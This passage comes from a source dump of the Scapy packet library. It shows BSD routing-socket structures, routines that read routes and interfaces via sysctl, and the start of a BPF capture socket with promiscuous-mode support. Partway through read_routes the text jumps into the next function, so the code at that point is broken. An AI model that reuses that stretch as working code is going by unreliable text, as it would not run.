0x04: "RTM_GET", 0x05: "RTM_LOSING", 0x06: "RTM_REDIRECT", 0x07: "RTM_MISS", 0x08: "RTM_LOCK", 0x09: "RTM_OLDADD", 0x0A: "RTM_OLDDEL", 0x0B: "RTM_RESOLVE", 0x0C: "RTM_NEWADDR", 0x0D: "RTM_DELADDR", 0x0E: "RTM_IFINFO", 0x0F: "RTM_NEWMADDR", 0x10: "RTM_DELMADDR", 0x11: "RTM_IFANNOUNCE", 0x12: "RTM_IEEE80211", } _RTM_ADDRS = { 0x01: "RTA_DST", 0x02: "RTA_GATEWAY", 0x04: "RTA_NETMASK", 0x08: "RTA_GENMASK", 0x10: "RTA_IFP", 0x20: "RTA_IFA", 0x40: "RTA_AUTHOR", 0x80: "RTA_BRD", 0x100: "RTA_SRC", 0x200: "RTA_SRCMASK", 0x400: "RTA_LABEL", 0x800: "RTA_BFD", 0x1000: "RTA_DNS", 0x2000: "RTA_STATIC", 0x4000: "RTA_SEARCH", } _RTM_FLAGS = { 0x01: "RTF_UP", 0x02: "RTF_GATEWAY", 0x04: "RTF_HOST", 0x08: "RTF_REJECT", 0x10: "RTF_DYNAMIC", 0x20: "RTF_MODIFIED", 0x40: "RTF_DONE", 0x80: "RTF_MASK", # NetBSD 0x100: "RTF_CONNECTED", # NetBSD 0x200: "RTF_XRESOLVE", 0x400: "RTF_LLDATA", 0x800: "RTF_STATIC", 0x1000: "RTF_BLACKHOLE", 0x4000: "RTF_PROTO2", 0x8000: "RTF_PROTO1", **( { 0x10000: "RTF_PRCLONING", 0x20000: "RTF_WASCLONED", } if DARWIN else { 0x10000: "RTF_SRC", # NetBSD 0x20000: "RTF_ANNOUNCE", # NetBSD } ), 0x40000: "RTF_PROTO3", 0x80000: "RTF_FIXEDMTU", 0x100000: "RTF_PINNED", 0x200000: "RTF_LOCAL", 0x400000: "RTF_BROADCAST", 0x800000: "RTF_MULTICAST", **( { 0x1000000: "RTF_IFSCOPE", 0x2000000: "RTF_CONDEMNED", 0x4000000: "RTF_IFREF", 0x8000000: "RTF_PROXY", 0x10000000: "RTF_ROUTER", 0x20000000: "RTF_DEAD", 0x40000000: "RTF_GLOBAL", } if DARWIN else { 0x1000000: "RTF_STICKY", 0x4000000: "RTF_RNH_LOCKED", # deprecated 0x8000000: "RTF_GWFLAG_COMPAT", } ), } _IFCAP = { 0x00000001: "IFCAP_CSUM_IPv4", 0x00000002: "IFCAP_CSUM_TCPv4", 0x00000004: "IFCAP_CSUM_UDPv4", 0x00000010: "IFCAP_VLAN_MTU", 0x00000020: "IFCAP_VLAN_HWTAGGING", 0x00000080: "IFCAP_CSUM_TCPv6", 0x00000100: "IFCAP_CSUM_UDPv6", 0x00001000: "IFCAP_TSOv4", 0x00002000: "IFCAP_TSOv6", 0x00004000: "IFCAP_LRO", 0x00008000: "IFCAP_WOL", } # Common Header class pfmsghdr(Packet): fields_desc = [ Field("rtm_msglen", 0, fmt="=H"), ByteField("rtm_version", 5), ByteEnumField("rtm_type", 0, _RTM_TYPE), ] + ( # It begins... the IFs apocalypse [Field("rtm_hdrlen", 0, fmt="=H")] if OPENBSD else [] ) if OPENBSD: def extract_padding(self, s: bytes) -> Tuple[bytes, Optional[bytes]]: if self.rtm_msglen < 6: return s, b"" return s[: self.rtm_msglen - 6], s[self.rtm_msglen - 6 :] else: def extract_padding(self, s: bytes) -> Tuple[bytes, Optional[bytes]]: if self.rtm_msglen < 4: return s, b"" return s[: self.rtm_msglen - 4], s[self.rtm_msglen - 4 :] bind_layers(pfmsghdr, conf.raw_layer, rtm_msglen=0) # padding # END class sockaddr(Packet): fields_desc = [ # socket.h ByteField("sa_len", 0), ByteEnumField("sa_family", 0, socket.AddressFamily), # sockaddr_in ConditionalField( Field("sin_port", 0, fmt="=H"), lambda pkt: pkt.sa_family == socket.AF_INET ), ConditionalField( IPField("sin_addr", 0), lambda pkt: pkt.sa_family == socket.AF_INET ), ConditionalField( StrFixedLenField("sin_zero", "", length=8), lambda pkt: pkt.sa_family == socket.AF_INET and pkt.sa_len > 7, ), # sockaddr_in6 ConditionalField( Field("sin6_port", 0, fmt="=H"), lambda pkt: pkt.sa_family == socket.AF_INET6, ), ConditionalField( Field("sin6_flowinfo", 0, fmt="=I"), lambda pkt: pkt.sa_family == socket.AF_INET6, ), ConditionalField( IP6Field("sin6_addr", "::"), lambda pkt: pkt.sa_family == socket.AF_INET6 ), ConditionalField( Field("sin6_scope_id", 0, fmt="=I"), lambda pkt: pkt.sa_family == socket.AF_INET6, ), # sockaddr_dl ConditionalField( Field("sdl_index", 0, fmt="=H"), lambda pkt: pkt.sa_family == socket.AF_LINK ), ConditionalField( Field("sdl_type", 0, fmt="=B"), lambda pkt: pkt.sa_family == socket.AF_LINK ), ConditionalField( Field("sdl_nlen", 0, fmt="=B"), lambda pkt: pkt.sa_family == socket.AF_LINK ), ConditionalField( Field("sdl_alen", 0, fmt="=B"), lambda pkt: pkt.sa_family == socket.AF_LINK ), ConditionalField( Field("sdl_slen", 0, fmt="=B"), lambda pkt: pkt.sa_family == socket.AF_LINK ), ConditionalField( StrLenField("sdl_iface", "", length_from=lambda pkt: pkt.sdl_nlen), lambda pkt: pkt.sa_family == socket.AF_LINK, ), ConditionalField( MultipleTypeField( [(MACField("sdl_addr", None), lambda pkt: pkt.sdl_alen == 6)], StrLenField("sdl_addr", "", length_from=lambda pkt: pkt.sdl_alen), ), lambda pkt: pkt.sa_family == socket.AF_LINK, ), ConditionalField( StrLenField("sdl_sel", "", length_from=lambda pkt: pkt.sdl_slen), lambda pkt: pkt.sa_family == socket.AF_LINK, ), ConditionalField( XStrLenField( "sdl_data", "", length_from=lambda pkt: max( pkt.sa_len - pkt.sdl_nlen - pkt.sdl_alen - pkt.sdl_slen - 8, 0 ), ), lambda pkt: pkt.sa_family == socket.AF_LINK, ), ConditionalField( XStrLenField("sdl_pad", b"", length_from=lambda pkt: 16 - pkt.sa_len), lambda pkt: pkt.sa_len < 16 and pkt.sa_family == socket.AF_LINK, ), # others ConditionalField( XStrLenField( "sa_data", "", length_from=lambda pkt: pkt.sa_len - 2 if pkt.sa_len >= 2 else 0, ), lambda pkt: pkt.sa_family not in [ socket.AF_INET, socket.AF_INET6, socket.AF_LINK, ], ), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer class SockAddrsField(FieldListField): holds_packets = 1 def __init__(self, name): if not IS_64BITS or DARWIN: align = 4 else: align = 8 super(SockAddrsField, self).__init__( name, [], PadField(PacketField("", None, sockaddr), align), ) if OPENBSD: class if_data(Packet): # net/if.h fields_desc = [ ByteField("ifi_type", 0), ByteField("ifi_addrlen", 0), ByteField("ifi_hdrlen", 0), ByteField("ifi_link_state", 0), Field("ifi_mtu", 0, fmt="=I"), Field("ifi_metric", 0, fmt="=I"), Field("ifi_rdomain", 0, fmt="=I"), Field("ifi_baudrate", 0, fmt="=Q"), Field("ifi_ipackets", 0, fmt="=Q"), Field("ifi_ierrors", 0, fmt="=Q"), Field("ifi_opackets", 0, fmt="=Q"), Field("ifi_oerrors", 0, fmt="=Q"), Field("ifi_collision", 0, fmt="=Q"), Field("ifi_ibytes", 0, fmt="=Q"), Field("ifi_obytes", 0, fmt="=Q"), Field("ifi_imcasts", 0, fmt="=Q"), Field("ifi_omcasts", 0, fmt="=Q"), Field("ifi_iqdrops", 0, fmt="=Q"), Field("ifi_oqdrops", 0, fmt="=Q"), Field("ifi_noproto", 0, fmt="=Q"), FlagsField( "ifi_capabilities", 0, 32 if BIG_ENDIAN else -32, _IFCAP, ), StrFixedLenField("ifi_lastchange", 0, length=16 if IS_64BITS else 8), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer elif NETBSD: class if_data(Packet): # net/if.h fields_desc = [ ByteField("ifi_type", 0), ByteField("ifi_addrlen", 0), ByteField("ifi_hdrlen", 0), Field("ifi_link_state", 0, fmt="=I"), Field("ifi_mtu", 0, fmt="=Q"), Field("ifi_metric", 0, fmt="=Q"), Field("ifi_baudrate", 0, fmt="=Q"), Field("ifi_ipackets", 0, fmt="=Q"), Field("ifi_ierrors", 0, fmt="=Q"), Field("ifi_opackets", 0, fmt="=Q"), Field("ifi_oerrors", 0, fmt="=Q"), Field("ifi_collision", 0, fmt="=Q"), Field("ifi_ibytes", 0, fmt="=Q"), Field("ifi_obytes", 0, fmt="=Q"), Field("ifi_imcasts", 0, fmt="=Q"), Field("ifi_omcasts", 0, fmt="=Q"), Field("ifi_iqdrops", 0, fmt="=Q"), Field("ifi_noproto", 0, fmt="=Q"), StrFixedLenField("ifi_lastchange", 0, length=16 if IS_64BITS else 8), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer elif DARWIN: class if_data(Packet): # if_var.h fields_desc = [ ByteField("ifi_type", 0), ByteField("ifi_typelen", 0), ByteField("ifi_physical", 0), ByteField("ifi_addrlen", 0), ByteField("ifi_hdrlen", 0), ByteField("ifi_recvquota", 0), ByteField("ifi_xmitquota", 0), ByteField("ifi_unused", 0), Field("ifi_mtu", 0, fmt="=I"), Field("ifi_metric", 0, fmt="=I"), Field("ifi_baudrate", 0, fmt="=I"), Field("ifi_ipackets", 0, fmt="=I"), Field("ifi_ierrors", 0, fmt="=I"), Field("ifi_opackets", 0, fmt="=I"), Field("ifi_oerrors", 0, fmt="=I"), Field("ifi_collision", 0, fmt="=I"), Field("ifi_ibytes", 0, fmt="=I"), Field("ifi_obytes", 0, fmt="=I"), Field("ifi_imcasts", 0, fmt="=I"), Field("ifi_omcasts", 0, fmt="=I"), Field("ifi_iqdrops", 0, fmt="=I"), Field("ifi_noproto", 0, fmt="=I"), Field("ifi_recvtiming", 0, fmt="=I"), Field("ifi_xmittiming", 0, fmt="=I"), Field("ifi_lastchange", 0, fmt="=Q"), Field("ifi_unused2", 0, fmt="=I"), Field("ifi_hwassist", 0, fmt="=I"), Field("ifi_reserved", 0, fmt="=Q"), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer else: # FreeBSD class if_data(Packet): # net/if.h fields_desc = [ ByteField("ifi_type", 0), ByteField("ifi_physical", 0), ByteField("ifi_addrlen", 0), ByteField("ifi_hdrlen", 0), ByteField("ifi_link_state", 0), ByteField("ifi_vhid", 0), Field("ifi_datalen", 0, fmt="=H"), Field("ifi_mtu", 0, fmt="=I"), Field("ifi_metric", 0, fmt="=I"), Field("ifi_baudrate", 0, fmt="=Q"), Field("ifi_ipackets", 0, fmt="=Q"), Field("ifi_ierrors", 0, fmt="=Q"), Field("ifi_opackets", 0, fmt="=Q"), Field("ifi_oerrors", 0, fmt="=Q"), Field("ifi_collision", 0, fmt="=Q"), Field("ifi_ibytes", 0, fmt="=Q"), Field("ifi_obytes", 0, fmt="=Q"), Field("ifi_imcasts", 0, fmt="=Q"), Field("ifi_omcasts", 0, fmt="=Q"), Field("ifi_iqdrops", 0, fmt="=Q"), Field("ifi_oqdrops", 0, fmt="=Q"), Field("ifi_noproto", 0, fmt="=Q"), Field("ifi_hwassist", 0, fmt="=Q"), Field("tt", 0, fmt="=Q"), StrFixedLenField("tv", 0, length=16 if IS_64BITS else 8), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer if OPENBSD: class if_msghdr(Packet): fields_desc = [ Field("ifm_index", 0, fmt="=H"), Field("ifm_tableid", 0, fmt="=H"), Field("_ifm_pad", 0, fmt="=H"), FlagsField( "ifm_addrs", 0, 32 if BIG_ENDIAN else -32, _RTM_ADDRS, ), FlagsField( "ifm_flags", 0, 32 if BIG_ENDIAN else -32, _bsd_iff_flags, ), Field("ifm_xflags", 0, fmt="=I"), PadField( PacketField("ifm_data", [], if_data), 8, ), SockAddrsField("addrs"), ] else: class if_msghdr(Packet): fields_desc = [ FlagsField( "ifm_addrs", 0, 32 if BIG_ENDIAN else -32, _RTM_ADDRS, ), FlagsField( "ifm_flags", 0, 32 if BIG_ENDIAN else -32, _bsd_iff_flags, ), Field("ifm_index", 0, fmt="=H"), Field("_ifm_spare1", 0, fmt="=H"), PadField( PacketField("ifm_data", [], if_data), 8, ), SockAddrsField("addrs"), ] bind_layers(pfmsghdr, if_msghdr, rtm_type=0x0E) if NETBSD: bind_layers(pfmsghdr, if_msghdr, rtm_type=0x14) if OPENBSD: class ifa_msghdr(Packet): fields_desc = if_msghdr.fields_desc[:5] + [ Field("ifam_metric", 0, fmt="=I"), SockAddrsField("addrs"), ] elif NETBSD: class ifa_msghdr(Packet): fields_desc = [ Field("ifm_index", 0, fmt="=H"), Field("_rtm_spare1", 0, fmt="=H"), FlagsField( "ifm_flags", 0, 32 if BIG_ENDIAN else -32, _bsd_iff_flags, ), FlagsField( "ifm_addrs", 0, 32 if BIG_ENDIAN else -32, _RTM_ADDRS, ), Field("ifam_pid", 0, fmt="=I"), Field("ifam_addrflags", 0, fmt="=I"), PadField( Field("ifam_metric", 0, fmt="=I"), 8, ), SockAddrsField("addrs"), ] else: # FreeBSD, Darwin class ifa_msghdr(Packet): fields_desc = if_msghdr.fields_desc[:4] + [ Field("ifam_metric", 0, fmt="=I"), SockAddrsField("addrs"), ] bind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x0C) bind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x0D) if NETBSD: bind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x16) bind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x17) class ifma_msghdr(Packet): fields_desc = if_msghdr.fields_desc[:4] bind_layers(pfmsghdr, ifma_msghdr, rtm_type=0x0F) bind_layers(pfmsghdr, ifma_msghdr, rtm_type=0x10) class if_announcemsghdr(Packet): fields_desc = [ Field("ifan_index", 0, fmt="=H"), StrField("ifan_name", ""), Field("ifan_what", 0, fmt="=H"), ] bind_layers(pfmsghdr, ifma_msghdr, rtm_type=0x11) if OPENBSD: class rt_metrics(Packet): fields_desc = [ Field("rmx_pksent", 0, fmt="=Q"), Field("rmx_expire", 0, fmt="=q"), Field("rmx_locks", 0, fmt="=I"), Field("rmx_mtu", 0, fmt="=I"), Field("rmx_refcnt", 0, fmt="=I"), Field("rmx_hopcount", 0, fmt="=I"), Field("rmx_recvpipe", 0, fmt="=I"), Field("rmx_sendpipe", 0, fmt="=I"), Field("rmx_sshthresh", 0, fmt="=I"), Field("rmx_rtt", 0, fmt="=I"), Field("rmx_rttvar", 0, fmt="=I"), Field("rmx_pad", 0, fmt="=I"), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer elif NETBSD: class rt_metrics(Packet): fields_desc = [ Field("rmx_locks", 0, fmt="=Q"), Field("rmx_mtu", 0, fmt="=Q"), Field("rmx_hopcount", 0, fmt="=Q"), Field("rmx_recvpipe", 0, fmt="=Q"), Field("rmx_sendpipe", 0, fmt="=Q"), Field("rmx_sshthresh", 0, fmt="=Q"), Field("rmx_rtt", 0, fmt="=Q"), Field("rmx_rttvar", 0, fmt="=Q"), Field("rmx_expire", 0, fmt="=Q"), Field("rmx_pksent", 0, fmt="=Q"), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer elif DARWIN: class rt_metrics(Packet): fields_desc = [ Field("rmx_locks", 0, fmt="=I"), Field("rmx_mtu", 0, fmt="=I"), Field("rmx_hopcount", 0, fmt="=I"), Field("rmx_expire", 0, fmt="=i"), Field("rmx_recvpipe", 0, fmt="=I"), Field("rmx_sendpipe", 0, fmt="=I"), Field("rmx_sshthresh", 0, fmt="=I"), Field("rmx_rtt", 0, fmt="=I"), Field("rmx_rttvar", 0, fmt="=I"), Field("rmx_pksent", 0, fmt="=I"), StrFixedLenField("rmx_filler", 0, length=16 if IS_64BITS else 8), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer else: # FreeBSD class rt_metrics(Packet): fields_desc = [ Field("rmx_locks", 0, fmt="=Q"), Field("rmx_mtu", 0, fmt="=Q"), Field("rmx_hopcount", 0, fmt="=Q"), Field("rmx_expire", 0, fmt="=Q"), Field("rmx_recvpipe", 0, fmt="=Q"), Field("rmx_sendpipe", 0, fmt="=Q"), Field("rmx_sshthresh", 0, fmt="=Q"), Field("rmx_rtt", 0, fmt="=Q"), Field("rmx_rttvar", 0, fmt="=Q"), Field("rmx_pksent", 0, fmt="=Q"), Field("rmx_weight", 0, fmt="=Q"), Field("rmx_nhidx", 0, fmt="=Q"), StrFixedLenField("rmx_filler", 0, length=16 if IS_64BITS else 8), ] def default_payload_class(self, payload: bytes) -> Type[Packet]: return conf.padding_layer if OPENBSD: class rt_msghdr(Packet): fields_desc = [ Field("rtm_index", 0, fmt="=H"), Field("rtm_tableid", 0, fmt="=H"), ByteField("rtm_priority", 0), ByteField("rtm_mpls", 0), FlagsField( "rtm_addrs", 0, 32 if BIG_ENDIAN else -32, _RTM_ADDRS, ), FlagsField( "rtm_flags", 0, 32 if BIG_ENDIAN else -32, _RTM_FLAGS, ), Field("rtm_fmask", 0, fmt="=I"), Field("rtm_pid", 0, fmt="=I"), Field("rtm_seq", 0, fmt="=I"), Field("rtm_errno", 0, fmt="=I"), Field("rtm_inits", 0, fmt="=I"), PadField( PacketField("rtm_rmx", rt_metrics(), rt_metrics), 8, ), SockAddrsField("addrs"), ] elif NETBSD: class rt_msghdr(Packet): fields_desc = [ Field("rtm_index", 0, fmt="=H"), Field("_rtm_spare1", 0, fmt="=H"), FlagsField( "rtm_flags", 0, 32 if BIG_ENDIAN else -32, _RTM_FLAGS, ), FlagsField( "rtm_addrs", 0, 32 if BIG_ENDIAN else -32, _RTM_ADDRS, ), Field("rtm_pid", 0, fmt="=I"), Field("rtm_seq", 0, fmt="=I"), Field("rtm_errno", 0, fmt="=I"), Field("rtm_use", 0, fmt="=I"), PadField( Field("rtm_inits", 0, fmt="=I"), 8, ), PadField( PacketField("rtm_rmx", rt_metrics(), rt_metrics), 8, ), SockAddrsField("addrs"), ] elif DARWIN: class rt_msghdr(Packet): # actually rt_msghdr2 (we need parentflags) fields_desc = [ Field("rtm_index", 0, fmt="=H"), Field("_rtm_spare1", 0, fmt="=H"), FlagsField( "rtm_flags", 0, 32 if BIG_ENDIAN else -32, _RTM_FLAGS, ), FlagsField( "rtm_addrs", 0, 32 if BIG_ENDIAN else -32, _RTM_ADDRS, ), Field("rtm_refcnt", 0, fmt="=I"), FlagsField( "rtm_parentflags", 0, 32 if BIG_ENDIAN else -32, _RTM_FLAGS, ), Field("rtm_reserved", 0, fmt="=I"), Field("rtm_use", 0, fmt="=I"), Field("rtm_inits", 0, fmt="=I"), PadField( PacketField("rtm_rmx", rt_metrics(), rt_metrics), 4, ), SockAddrsField("addrs"), ] else: class rt_msghdr(Packet): fields_desc = [ Field("rtm_index", 0, fmt="=H"), Field("_rtm_spare1", 0, fmt="=H"), FlagsField( "rtm_flags", 0, 32 if BIG_ENDIAN else -32, _RTM_FLAGS, ), FlagsField( "rtm_addrs", 0, 32 if BIG_ENDIAN else -32, _RTM_ADDRS, ), Field("rtm_pid", 0, fmt="=I"), Field("rtm_seq", 0, fmt="=I"), Field("rtm_errno", 0, fmt="=I"), Field("rtm_fmask", 0, fmt="=I"), Field("rtm_inits", 0, fmt="=Q"), PadField( PacketField("rtm_rmx", rt_metrics(), rt_metrics), 8, ), SockAddrsField("addrs"), ] bind_layers(pfmsghdr, rt_msghdr) # else class pfmsghdrs(Packet): fields_desc = [ PacketListField( "msgs", [], pfmsghdr, # 65535 / len(pfmsghdr) max_count=4096, ), ] # Utils CTL_NET = 4 if DARWIN: NET_RT_DUMP = 7 # NET_RT_DUMP2 else: NET_RT_DUMP = 1 NET_RT_TABLE = 5 if NETBSD: NET_RT_IFLIST = 6 else: NET_RT_IFLIST = 3 def _sr1_bsdsysctl(mib) -> List[Packet]: """ Send / Receive a BSD sysctl """ # Request routes # 1. estimate needed size oldplen = ctypes.c_size_t() r = LIBC.sysctl( mib, len(mib), None, ctypes.byref(oldplen), None, 0, ) if r != 0: return None # 2. ask for real oldp = ctypes.create_string_buffer(oldplen.value) r = LIBC.sysctl( mib, len(mib), oldp, ctypes.byref(oldplen), None, 0, ) if r != 0: return None # Parse response return pfmsghdrs(bytes(oldp)) def read_routes(): """ Read the IPv4 routes using PF_ROUTE """ mib = [ CTL_NET, socket.PF_ROUTE, 0, int(socket.AF_INET), NET_RT_DUMP, 0, ] if not NETBSD and not DARWIN: # NetBSD / OSX is missing the fib if OPENBSD: fib = 0 # default table else: # FreeBSD fib = -1 # means 'all' mib.append(fib) mib = (ctypes.c_int * len(mib))(*mib) resp = _sr1_bsdsysctl(mib) if not resp: return [] ifaces = _get_if_list() routes = [] for msg in resp.msgs: if msg.rtm_type != 0x4 and (not DARWIN or msg.rtm_type != 0x14): # RTM_GET(2) continue # Parse route. addrs contains what addresses are present flags = msg.rtm_flags if not flags.RTF_UP: continue if DARWIN and flags.RTF_WASCLONED and msg.rtm_parentflags.RTF_PRCLONING: # OSX needs filtering continue addrs = msg.rtm_addrs net = 0 mask = 0xFFFFFFFF gw = 0 iface = "" addr = "" metric = 1 i = 0 try: if addrs.RTA_DST: net = atol(msg.addrs[i].sin_addr) i += 1 if addrs.RTA_GATEWAY: if msg.addrs[i].sa_family == socket.AF_LINK: gw = "0.0.0.0" else: gw = msg.addrs[i].sin_addr or "0.0.0.0" i += 1 if addrs.RTA_NETMASK: nm = msg.addrs[i] if nm.sa_family == socket.AF_INET: mask = atol(nm.sin_addr) elif nm.sa_family in [0x00, 0xFF]: # NetBSD mask = struct.unpack(" Dict[int, Dict[str, Any]] """ Read the interfaces list using a PF_ROUTE socket. """ mib = (ctypes.c_int * 6)( CTL_NET, socket.PF_ROUTE, 0, int(socket.AF_UNSPEC), NET_RT_IFLIST, 0, ) resp = _sr1_bsdsysctl(mib) if not resp: return {} lifips = {} for msg in resp.msgs: if msg.rtm_type not in [0x0C, 0x16]: # RTM_NEWADDR continue if not msg.ifm_addrs.RTA_IFA: continue ifindex = msg.ifm_index addrindex = ( msg.ifm_addrs.RTA_DST + msg.ifm_addrs.RTA_GATEWAY + msg.ifm_addrs.RTA_NETMASK + msg.ifm_addrs.RTA_GENMASK ) addr = msg.addrs[addrindex] if addr.sa_family not in [socket.AF_INET, socket.AF_INET6]: continue data = { "af_family": addr.sa_family, "index": ifindex, "address": addr.sin_addr, } if addr.sa_family == socket.AF_INET: # ipv4 data["address"] = addr.sin_addr else: # ipv6 data.update( { "address": addr.sin6_addr, "scope": in6_getscope(addr.sin6_addr), } ) lifips.setdefault(ifindex, list()).append(data) interfaces = {} for msg in resp.msgs: if msg.rtm_type != 0xE and (not NETBSD or msg.rtm_type != 0x14): # RTM_IFINFO continue ifindex = msg.ifm_index ifname = None mac = "00:00:00:00:00:00" itype = -1 ifflags = msg.ifm_flags ips = [] for addr in msg.addrs: if addr.sa_family == socket.AF_LINK: ifname = addr.sdl_iface.decode() itype = addr.sdl_type if addr.sdl_addr: mac = addr.sdl_addr if ifname is not None: if ifindex in lifips: ips = lifips[ifindex] interfaces[ifindex] = { "name": ifname, "index": ifindex, "flags": ifflags, "mac": mac, "ips": ips, "type": itype, } return interfaces ================================================ FILE: scapy/arch/bpf/supersocket.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Guillaume Valadon """ Scapy *BSD native support - BPF sockets """ from select import select import abc import ctypes import errno import fcntl import os import platform import struct import sys import time from scapy.arch.bpf.core import get_dev_bpf, attach_filter from scapy.arch.bpf.consts import ( BIOCGBLEN, BIOCGDLT, BIOCGSTATS, BIOCIMMEDIATE, BIOCPROMISC, BIOCSBLEN, BIOCSDLT, BIOCSETIF, BIOCSHDRCMPLT, BIOCSTSTAMP, BPF_BUFFER_LENGTH, BPF_T_NANOTIME, ) from scapy.config import conf from scapy.consts import DARWIN, FREEBSD, NETBSD from scapy.data import ETH_P_ALL, DLT_IEEE802_11_RADIO from scapy.error import Scapy_Exception, warning from scapy.interfaces import network_name, _GlobInterfaceType from scapy.supersocket import SuperSocket from scapy.compat import raw # Typing from typing import ( Any, List, Optional, Tuple, Type, TYPE_CHECKING, ) if TYPE_CHECKING: from scapy.packet import Packet # Structures & c types if FREEBSD or NETBSD: # On 32bit architectures long might be 32bit. BPF_ALIGNMENT = ctypes.sizeof(ctypes.c_long) else: # DARWIN, OPENBSD BPF_ALIGNMENT = ctypes.sizeof(ctypes.c_int32) _NANOTIME = FREEBSD # Kinda disappointing availability TBH if _NANOTIME: class bpf_timeval(ctypes.Structure): # actually a bpf_timespec _fields_ = [("tv_sec", ctypes.c_ulong), ("tv_nsec", ctypes.c_ulong)] elif NETBSD: class bpf_timeval(ctypes.Structure): _fields_ = [("tv_sec", ctypes.c_ulong), ("tv_usec", ctypes.c_ulong)] else: class bpf_timeval(ctypes.Structure): # type: ignore _fields_ = [("tv_sec", ctypes.c_uint32), ("tv_usec", ctypes.c_uint32)] class bpf_hdr(ctypes.Structure): # Also called bpf_xhdr on some OSes _fields_ = [("bh_tstamp", bpf_timeval), ("bh_caplen", ctypes.c_uint32), ("bh_datalen", ctypes.c_uint32), ("bh_hdrlen", ctypes.c_uint16)] _bpf_hdr_len = ctypes.sizeof(bpf_hdr) # SuperSockets definitions class _L2bpfSocket(SuperSocket): """"Generic Scapy BPF Super Socket""" __slots__ = ["bpf_fd"] desc = "read/write packets using BPF" nonblocking_socket = True def __init__(self, iface=None, # type: Optional[_GlobInterfaceType] type=ETH_P_ALL, # type: int promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] nofilter=0, # type: int monitor=False, # type: bool ): if monitor: raise Scapy_Exception( "We do not natively support monitor mode on BPF. " "Please turn on libpcap using conf.use_pcap = True" ) self.fd_flags = None # type: Optional[int] self.type = type self.bpf_fd = -1 # SuperSocket mandatory variables if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc self.iface = network_name(iface or conf.iface) # Get the BPF handle self.bpf_fd, self.dev_bpf = get_dev_bpf() if FREEBSD: # Set the BPF timeval format. Availability issues here ! try: fcntl.ioctl( self.bpf_fd, BIOCSTSTAMP, struct.pack('I', BPF_T_NANOTIME) ) except IOError: raise Scapy_Exception("BIOCSTSTAMP failed on /dev/bpf%i" % self.dev_bpf) # Set the BPF buffer length try: fcntl.ioctl( self.bpf_fd, BIOCSBLEN, struct.pack('I', BPF_BUFFER_LENGTH) ) except IOError: raise Scapy_Exception("BIOCSBLEN failed on /dev/bpf%i" % self.dev_bpf) # Assign the network interface to the BPF handle try: fcntl.ioctl( self.bpf_fd, BIOCSETIF, struct.pack("16s16x", self.iface.encode()) ) except IOError: raise Scapy_Exception("BIOCSETIF failed on %s" % self.iface) # Set the interface into promiscuous if self.promisc: self.set_promisc(True) # Set the interface to monitor mode # Note: - trick from libpcap/pcap-bpf.c - monitor_mode() # - it only works on OS X 10.5 and later if DARWIN and monitor: # Convert macOS version to an integer try: tmp_mac_version = platform.mac_ver()[0].split(".") tmp_mac_version = [int(num) for num in tmp_mac_version] macos_version = tmp_mac_version[0] * 10000 macos_version += tmp_mac_version[1] * 100 + tmp_mac_version[2] except (IndexError, ValueError): warning("Could not determine your macOS version!") macos_version = sys.maxint # Disable 802.11 monitoring on macOS Catalina (aka 10.15) and upper if macos_version < 101500: dlt_radiotap = struct.pack('I', DLT_IEEE802_11_RADIO) try: fcntl.ioctl(self.bpf_fd, BIOCSDLT, dlt_radiotap) except IOError: raise Scapy_Exception("Can't set %s into monitor mode!" % self.iface) else: warning("Scapy won't activate 802.11 monitoring, " "as it will crash your macOS kernel!") # Don't block on read try: fcntl.ioctl(self.bpf_fd, BIOCIMMEDIATE, struct.pack('I', 1)) except IOError: raise Scapy_Exception("BIOCIMMEDIATE failed on /dev/bpf%i" % self.dev_bpf) # Scapy will provide the link layer source address # Otherwise, it is written by the kernel try: fcntl.ioctl(self.bpf_fd, BIOCSHDRCMPLT, struct.pack('i', 1)) except IOError: raise Scapy_Exception("BIOCSHDRCMPLT failed on /dev/bpf%i" % self.dev_bpf) # Configure the BPF filter filter_attached = False if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: try: attach_filter(self.bpf_fd, filter, self.iface) filter_attached = True except (ImportError, Scapy_Exception) as ex: raise Scapy_Exception("Cannot set filter: %s" % ex) if NETBSD and filter_attached is False: # On NetBSD, a filter must be attached to an interface, otherwise # no frame will be received by os.read(). When no filter has been # configured, Scapy uses a simple tcpdump filter that does nothing # more than ensuring the length frame is not null. filter = "greater 0" try: attach_filter(self.bpf_fd, filter, self.iface) except ImportError as ex: warning("Cannot set filter: %s" % ex) # Set the guessed packet class self.guessed_cls = self.guess_cls() def set_promisc(self, value): # type: (bool) -> None """Set the interface in promiscuous mode""" try: fcntl.ioctl(self.bpf_fd, BIOCPROMISC, struct.pack('i', value)) except IOError: raise Scapy_Exception("Cannot set promiscuous mode on interface " "(%s)!" % self.iface) def __del__(self): # type: () -> None """Close the file descriptor on delete""" # When the socket is deleted on Scapy exits, __del__ is # sometimes called "too late", and self is None if self is not None: self.close() def guess_cls(self): # type: () -> type """Guess the packet class that must be used on the interface""" # Get the data link type try: ret = fcntl.ioctl(self.bpf_fd, BIOCGDLT, struct.pack('I', 0)) linktype = struct.unpack('I', ret)[0] except IOError: cls = conf.default_l2 warning("BIOCGDLT failed: unable to guess type. Using %s !", cls.name) return cls # Retrieve the corresponding class try: return conf.l2types.num2layer[linktype] except KeyError: cls = conf.default_l2 warning("Unable to guess type (type %i). Using %s", linktype, cls.name) return cls def set_nonblock(self, set_flag=True): # type: (bool) -> None """Set the non blocking flag on the socket""" # Get the current flags if self.fd_flags is None: try: self.fd_flags = fcntl.fcntl(self.bpf_fd, fcntl.F_GETFL) except IOError: warning("Cannot get 